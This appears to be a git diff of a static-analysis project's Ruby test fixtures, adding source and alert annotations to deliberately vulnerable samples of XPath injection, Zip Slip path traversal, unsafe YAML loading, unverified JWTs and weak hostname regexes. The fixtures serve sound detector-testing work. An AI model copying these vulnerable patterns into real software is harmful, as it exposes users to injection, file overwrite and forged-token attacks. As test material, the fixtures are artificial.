libxml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ class FooController < ActionController::Base results1 = doc.find_first('//foo') # BAD: XPath query is constructed from user input - results2 = doc.find_first("//#{name}") + results2 = doc.find_first("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.find('//foo') # BAD: XPath query is constructed from user input - results4 = doc.find("//#{name}") + results4 = doc.find("//#{name}") # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb index e3ac8055f48..e782d923034 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb @@ -2,7 +2,7 @@ require 'nokogiri' class FooController < ActionController::Base def nokogiri_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,19 +18,19 @@ class FooController < ActionController::Base results1 = doc.at('//foo') # BAD: XPath query is constructed from user input - results2 = doc.at("//#{name}") + results2 = doc.at("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.xpath('//foo') # BAD: XPath query is constructed from user input - results4 = doc.xpath("//#{name}") + results4 = doc.xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results5 = doc.at_xpath('//foo') # BAD: XPath query is constructed from user input - results6 = doc.at_xpath("//#{name}") + results6 = doc.at_xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input doc.xpath('//foo').each do |element| @@ -38,7 +38,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - doc.xpath("//#{name}").each do |element| + doc.xpath("//#{name}").each do |element| # $ Alert puts element.text end @@ -48,7 +48,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - doc.search("//#{name}").each do |element| + doc.search("//#{name}").each do |element| # $ Alert puts element.text end end @@ -85,4 +85,4 @@ class BarController < ActionController::Base results9 = doc.at_xpath("//#{safe_name}") end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb index 6ee16d125b4..87ceb2cbb3c 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb @@ -2,7 +2,7 @@ require 'rexml' class FooController < ActionController::Base def rexml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ class FooController < ActionController::Base results1 = REXML::XPath.first(doc, "//foo") # BAD: XPath query is constructed from user input - results2 = REXML::XPath.first(doc, "//#{name}") + results2 = REXML::XPath.first(doc, "//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = REXML::XPath.match(doc, "//foo", nil) # BAD: XPath query is constructed from user input - results4 = REXML::XPath.match(doc, "//#{name}", nil) + results4 = REXML::XPath.match(doc, "//#{name}", nil) # $ Alert # GOOD: XPath query is not constructed from user input REXML::XPath.each(doc, "//foo") do |element| @@ -32,7 +32,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - REXML::XPath.each(doc, "//#{name}") do |element| + REXML::XPath.each(doc, "//#{name}") do |element| # $ Alert puts element.text end end @@ -66,4 +66,4 @@ class BarController < ActionController::Base results6 = REXML::XPath.match(doc, "//#{safe_name}", nil) end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref index a5b1b23c203..7ca9780f11c 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref @@ -1 +1,2 @@ -experimental/xpath-injection/XpathInjection.ql \ No newline at end of file +query: experimental/xpath-injection/XpathInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref index 2ecd57e4b2b..a5b8c00322e 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref @@ -1 +1,2 @@ -experimental/cwe-022-zipslip/ZipSlip.ql +query: experimental/cwe-022-zipslip/ZipSlip.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb index 4e5aa27d00a..72c8c4701fc 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb @@ -5,9 +5,9 @@ class TestController < ActionController::Base def tarReaderUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - tarfile = Gem::Package::TarReader.new(file_stream) + tarfile = Gem::Package::TarReader.new(file_stream) # $ Source tarfile.each do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -17,9 +17,9 @@ class TestController < ActionController::Base def tarReaderBlockUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - Gem::Package::TarReader.new(file_stream) do |tarfile| + Gem::Package::TarReader.new(file_stream) do |tarfile| # $ Source tarfile.each_entry do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -43,8 +43,8 @@ class TestController < ActionController::Base # BAD def zipFileUnsafe path = params[:path] - Zip::File.open(path).each do |entry| - File.open(entry.name, "wb") do |os| + Zip::File.open(path).each do |entry| # $ Source + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -53,9 +53,9 @@ class TestController < ActionController::Base # BAD def zipFileBlockUnsafe path = params[:path] - Zip::File.open(path) do |zip_file| + Zip::File.open(path) do |zip_file| # $ Source zip_file.each do |entry| - File.open(entry.name, "wb") do |os| + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -87,7 +87,7 @@ class TestController < ActionController::Base end def get_compressed_file_stream(compressed_file_path) - gzip = Zlib::GzipReader.open(compressed_file_path) + gzip = Zlib::GzipReader.open(compressed_file_path) # $ Source yield(gzip) end @@ -97,7 +97,7 @@ class TestController < ActionController::Base get_compressed_file_stream(path) do |compressed_file| compressed_file.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end @@ -120,10 +120,10 @@ class TestController < ActionController::Base def gzipReaderUnsafeNewInstance path = params[:path] File.open(path, 'rb') do |f| - gz = Zlib::GzipReader.new(f) + gz = Zlib::GzipReader.new(f) # $ Source gz.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref index 2faba2ebb12..a13083c07d5 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref @@ -1 +1,2 @@ -experimental/cwe-176/UnicodeBypassValidation.ql +query: experimental/cwe-176/UnicodeBypassValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb b/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb index a7b77cc3a66..e158bc47fdd 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb @@ -4,35 +4,35 @@ require 'cgi' class UnicodeNormalizationOKController < ActionController::Base def unicodeNormalize - unicode_input = params[:unicode_input] - normalized_nfkc = unicode_input.unicode_normalize(:nfkc) # $ MISSING:result=OK - normalized_nfc = unicode_input.unicode_normalize(:nfc) # $ MISSING:result=OK + unicode_input = params[:unicode_input] # $ Source + normalized_nfkc = unicode_input.unicode_normalize(:nfkc) # $ Alert // $ MISSING:result=OK + normalized_nfc = unicode_input.unicode_normalize(:nfc) # $ Alert // $ MISSING:result=OK end end class UnicodeNormalizationStrManipulationController < ActionController::Base def unicodeNormalize - unicode_input = params[:unicode_input] - unicode_input_manip = unicode_input.sub(/[aeiou]/, "*") - normalized_nfkc = unicode_input_manip.unicode_normalize(:nfkc) # $ result=BAD - normalized_nfc = unicode_input_manip.unicode_normalize(:nfc) # $ result=BAD + unicode_input = params[:unicode_input] # $ Source + unicode_input_manip = unicode_input.sub(/[aeiou]/, "*") # $ Source + normalized_nfkc = unicode_input_manip.unicode_normalize(:nfkc) # $ Alert // $ result=BAD + normalized_nfc = unicode_input_manip.unicode_normalize(:nfc) # $ Alert // $ result=BAD end end class UnicodeNormalizationHtMLEscapeController < ActionController::Base def unicodeNormalize - unicode_input = params[:unicode_input] - unicode_html_safe = html_escape(unicode_input) - normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkc) # $ result=BAD - normalized_nfc = unicode_html_safe.unicode_normalize(:nfc) # $ result=BAD + unicode_input = params[:unicode_input] # $ Source + unicode_html_safe = html_escape(unicode_input) # $ Source + normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkc) # $ Alert // $ result=BAD + normalized_nfc = unicode_html_safe.unicode_normalize(:nfc) # $ Alert // $ result=BAD end end class UnicodeNormalizationCGIHtMLEscapeController < ActionController::Base def unicodeNormalize - unicode_input = params[:unicode_input] - unicode_html_safe = CGI.escapeHTML(unicode_input).html_safe - normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkd) # $ result=BAD - normalized_nfc = unicode_html_safe.unicode_normalize(:nfd) # $ result=BAD + unicode_input = params[:unicode_input] # $ Source + unicode_html_safe = CGI.escapeHTML(unicode_input).html_safe # $ Source + normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkd) # $ Alert // $ result=BAD + normalized_nfc = unicode_html_safe.unicode_normalize(:nfd) # $ Alert // $ result=BAD end end diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref index 3d034add0ba..c6f2acf7d75 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref @@ -1 +1,2 @@ -experimental/cwe-347/EmptyJWTSecret.ql \ No newline at end of file +query: experimental/cwe-347/EmptyJWTSecret.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb index a78ec0d0421..68cdb179c75 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb @@ -6,10 +6,10 @@ payload = { foo: 'bar' } token1 = JWT.encode({ foo: 'bar' }, "secret", 'none') # BAD: the secret used is empty -token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') +token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # BAD: the secret used is empty -token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') +token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # GOOD: the token is signed -token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256') \ No newline at end of file +token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256') diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref index 793275aef11..dba60e5fbb4 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref @@ -1 +1,2 @@ -experimental/cwe-347/MissingJWTVerification.ql \ No newline at end of file +query: experimental/cwe-347/MissingJWTVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb index 4c5bd08094e..cf7fc7cbf8e 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb @@ -3,22 +3,22 @@ require 'jwt' payload = { foo: 'bar' } # Unsecure token -token_without_signature = JWT.encode(payload, nil, 'none') +token_without_signature = JWT.encode(payload, nil, 'none') # $ Alert[rb/jwt-empty-secret-or-algorithm] # Secure token token = JWT.encode(payload, "secret", 'HS256') # BAD: it does not verify -decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') +decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') +decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) +decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) # $ Alert[rb/jwt-missing-verification] # GOOD: it does verify decoded_token5 = JWT.decode(token, secret, 'HS256') # GOOD: it does verify -decoded_token2 = JWT.decode(token,secret) \ No newline at end of file +decoded_token2 = JWT.decode(token,secret) diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref index 991ba757e43..f7fb7dfe3fc 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref @@ -1 +1,2 @@ -experimental/cwe-502/UnsafeYamlDeserialization.ql \ No newline at end of file +query: experimental/cwe-502/UnsafeYamlDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb index c9b186e0915..dc3e1cbab95 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb @@ -7,15 +7,15 @@ require "yaml" class UsersController < ActionController::Base # BAD before psych version 4.0.0 and def route1 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route2 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -29,14 +29,14 @@ class UsersController < ActionController::Base # BAD def route4 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert parsed_yaml = Psych.parse_stream(yaml_data) parsed_yaml.children.each do |child| object = child.to_ruby @@ -46,7 +46,7 @@ class UsersController < ActionController::Base end object = parsed_yaml.children.first.to_ruby content = parsed_yaml.children[0].children[0].children - object = parsed_yaml.to_ruby[0] + object = parsed_yaml.to_ruby[0] # $ Alert object = content.to_ruby[0] object = Psych.parse(yaml_data).children[0].to_ruby end @@ -58,18 +58,18 @@ class UsersController < ActionController::Base end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref index 463c21cd0f2..455d02aef04 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref @@ -1 +1,2 @@ -experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql \ No newline at end of file +query: experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb index 055e9d98638..aacb1730dd9 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb @@ -1,39 +1,39 @@ class ExampleController < ActionController::Base # Should find def example_action - if request.get? + if request.get? # $ Alert Resource.find(id: params[:example_id]) end end # Should find def other_action - method = request.env['REQUEST_METHOD'] - if method == "GET" + method = request.env['REQUEST_METHOD'] # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def foo - method = request.request_method - if method == "GET" + method = request.request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def bar - method = request.method - if method == "GET" + method = request.method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def baz - method = request.raw_request_method - if method == "GET" + method = request.raw_request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end @@ -48,15 +48,15 @@ class ExampleController < ActionController::Base # Should find def foobarbaz - method = request.request_method_symbol - if method == :GET + method = request.request_method_symbol # $ Source + if method == :GET # $ Alert Resource.find(id: params[:id]) end end # Should find def resource_action - case request.env['REQUEST_METHOD'] + case request.env['REQUEST_METHOD'] # $ Alert when "GET" Resource.find(id: params[:id]) when "POST" @@ -114,4 +114,4 @@ class NotAController end class Resource < ActiveRecord::Base -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref index 5350e4bf40a..96a41103dd4 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref @@ -1 +1,2 @@ -experimental/weak-params/WeakParams.ql \ No newline at end of file +query: experimental/weak-params/WeakParams.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb index a5edef2e6dc..461bd4a5328 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb @@ -2,22 +2,22 @@ class TestController < ActionController::Base # Should catch def create - TestObject.create(foo: request.request_parameters[:foo]) + TestObject.create(foo: request.request_parameters[:foo]) # $ Alert end # Should catch def create_query - TestObject.create(foo: request.query_parameters[:foo]) + TestObject.create(foo: request.query_parameters[:foo]) # $ Alert end # Should catch def update_unsafe - TestObject.update(foo: request.POST[:foo]) + TestObject.update(foo: request.POST[:foo]) # $ Alert end # Should catch def update_unsafe_get - TestObject.update(foo: request.GET[:foo]) + TestObject.update(foo: request.GET[:foo]) # $ Alert end # Should not catch @@ -37,4 +37,4 @@ class TestController < ActionController::Base end class TestObject < ActiveRecord::Base -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref index f2a94b28c40..453e0a3f399 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref @@ -1 +1,2 @@ -experimental/performance/UseDetect.ql +query: experimental/performance/UseDetect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb index e1d2d9b91ba..2c2602e72e6 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb @@ -2,14 +2,14 @@ class DetectTest def test # These are bad - [].select { |i| true }.first - [].select { |i| true }.last - [].select { |i| true }[0] - [].select { |i| true }[-1] - [].filter { |i| true }.first - [].find_all { |i| true }.last + [].select { |i| true }.first # $ Alert + [].select { |i| true }.last # $ Alert + [].select { |i| true }[0] # $ Alert + [].select { |i| true }[-1] # $ Alert + [].filter { |i| true }.first # $ Alert + [].find_all { |i| true }.last # $ Alert selection1 = [].select { |i| true } - selection1.first + selection1.first # $ Alert # These are good [].select("").first # Selecting a string diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref index 7fd45d159ce..93a6200ff17 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteHostnameRegExp.ql \ No newline at end of file +query: queries/security/cwe-020/IncompleteHostnameRegExp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb index 5a5c96692ce..32aa8ad9491 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb @@ -1,6 +1,6 @@ -UNSAFE_REGEX1 = /(www|beta).example.com\// -UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") -UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") +UNSAFE_REGEX1 = /(www|beta).example.com\// # $ Alert +UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") # $ Alert +UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") # $ Alert SAFE_REGEX = /(www|beta)\.example\.com\// def unsafe diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb index 7041e4dc9c4..047e2cc6d69 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb @@ -1,31 +1,31 @@ def foo /^http:\/\/example.com/; # OK - /^http:\/\/test.example.com/; # NOT OK + /^http:\/\/test.example.com/; # $ Alert // NOT OK /^http:\/\/test\.example.com/; # OK - /^http:\/\/test.example.net/; # NOT OK - /^http:\/\/test.(example-a|example-b).com/; # NOT OK - /^http:\/\/(.+).example.com\//; # NOT OK + /^http:\/\/test.example.net/; # $ Alert // NOT OK + /^http:\/\/test.(example-a|example-b).com/; # $ Alert // NOT OK + /^http:\/\/(.+).example.com\//; # $ Alert // NOT OK /^http:\/\/(\.+)\.example.com/; # OK - /^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK - /^http:\/\/test.example.com\/(?:.*)/; # OK - Regexp.new("^http://test.example.com"); # NOT OK - if (s.match("^http://test.example.com")); end # NOT OK + /^http:\/\/(?:.+)\.test\.example.com\//; # $ Alert // NOT OK + /^http:\/\/test.example.com\/(?:.*)/; # $ Alert // OK + Regexp.new("^http://test.example.com"); # $ Alert // NOT OK + if (s.match("^http://test.example.com")); end # $ Alert // NOT OK - Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK + Regexp.new(id(id(id("^http://test.example.com")))); # $ Alert // NOT OK - Regexp.new(`test.example.com$`); # NOT OK + Regexp.new(`test.example.com$`); # $ Alert // NOT OK - hostname = '^test.example.com'; # NOT OK - Regexp.new("#{hostname}$"); + hostname = '^test.example.com'; # $ Alert // NOT OK + Regexp.new("#{hostname}$"); # $ Alert - domain = { hostname: 'test.example.com$' }; # NOT OK + domain = { hostname: 'test.example.com$' }; # $ Alert // NOT OK Regexp.new(domain[:hostname]); - convert1({ hostname: 'test.example.com$' }); # NOT OK + convert1({ hostname: 'test.example.com$' }); # $ Alert // NOT OK domains = [ { hostname: 'test.example.com$' } ]; # NOT OK - but not flagged due to limitations of TypeTracking. @@ -34,18 +34,18 @@ def foo domains.map{ |d| convert2(d) }; /^(.+\.(?:example-a|example-b)\.com)\//; # NOT OK - /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK - /^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK - /^(http:\/\/sub.example.com\/)/i; # NOT OK - /^https?:\/\/api.example.com/; # NOT OK - Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK + /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # $ Alert // NOT OK + /^(http|https):\/\/www.example.com\/p\/f\//; # $ Alert // NOT OK + /^(http:\/\/sub.example.com\/)/i; # $ Alert // NOT OK + /^https?:\/\/api.example.com/; # $ Alert // NOT OK + Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # $ Alert // NOT OK Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # NOT OK - /^https:\/\/[a-z]*.example.com$/; # NOT OK - Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # NOT OK + /^https:\/\/[a-z]*.example.com$/; # $ Alert // NOT OK + Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # $ Alert // NOT OK /^(example.dev|example.com)/; # OK - Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK + Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # $ Alert // NOT OK primary = 'example.com$'; Regexp.new('test.' + primary); # NOT OK, but not detected @@ -56,7 +56,7 @@ def foo /^http:\/\/(..|...)\.example\.com\/index\.html/; # OK, wildcards are intentional /^http:\/\/.\.example\.com\/index\.html/; # OK, the wildcard is intentional - /^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname + /^(foo.example\.com|whatever)$/; # $ Alert // kinda OK - one disjunction doesn't even look like a hostname end def id(e); return e; end def convert1(domain) @@ -78,4 +78,4 @@ class B end end -B.match?("^http://test.example.com") # NOT OK +B.match?("^http://test.example.com") # $ Alert // NOT OK diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref index dea02dce153..077f367fe47 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +query: queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb index dc6d49de57a..c7b4a55642b 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb +++ 